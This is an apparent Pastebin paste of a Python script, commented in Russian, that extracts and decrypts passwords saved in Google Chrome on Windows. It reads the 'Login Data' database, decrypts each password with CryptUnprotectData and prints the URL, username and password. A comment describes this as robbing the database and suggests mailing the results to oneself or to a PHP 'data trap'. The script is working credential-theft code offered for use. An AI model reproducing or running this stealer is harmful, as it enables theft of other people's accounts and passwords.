Advertisement
Guest User

Untitled

a guest
Aug 14th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. import os
  2. import requests
  3. from sys import exit
  4. import sqlite3
  5. from win32crypt import CryptUnprotectData
  6. import argparse
  7.  
  8. print('Убедитесь что вы закрыли браузер Chrome...')
  9. print('Ждем некоторое время...')
  10.  
  11. # Вычисляем папку куда установлен Chrome в Windows
  12.  
  13. def chromepath():
  14. PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
  15. if (os.path.isdir(PathName) == False):
  16. exit(0)
  17. return PathName
  18.  
  19.  
  20. # Грабим базу данных с сохраненными паролями
  21. def grub():
  22. secret = []
  23. path = chromepath()
  24. try:
  25. connection = sqlite3.connect(path + "Login Data")
  26. with connection:
  27. cursor = connection.cursor()
  28. v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  29. value = v.fetchall()
  30.  
  31. for i in value:
  32. password = CryptUnprotectData(i[2], None, None, None, 0)[1]
  33. if password:
  34. secret.append({
  35. '1': i[0],
  36. '2': i[1],
  37. '3': str(password)
  38. })
  39.  
  40. except sqlite3.OperationalError as e:
  41. if (str(e) == 'database is locked'):
  42. print('Вы должны выключить Chrome прежде чем запускать скрипт')
  43. input()
  44. exit(0)
  45.  
  46. else:
  47. exit(0)
  48. if secret == []:
  49. pass
  50. else:
  51. return secret
  52.  
  53. # Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
  54. for data in grub():
  55. for x in data.values():
  56. print(x)
  57.  
  58. print("Пароли извлечены, нажмите Enter")
  59. input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement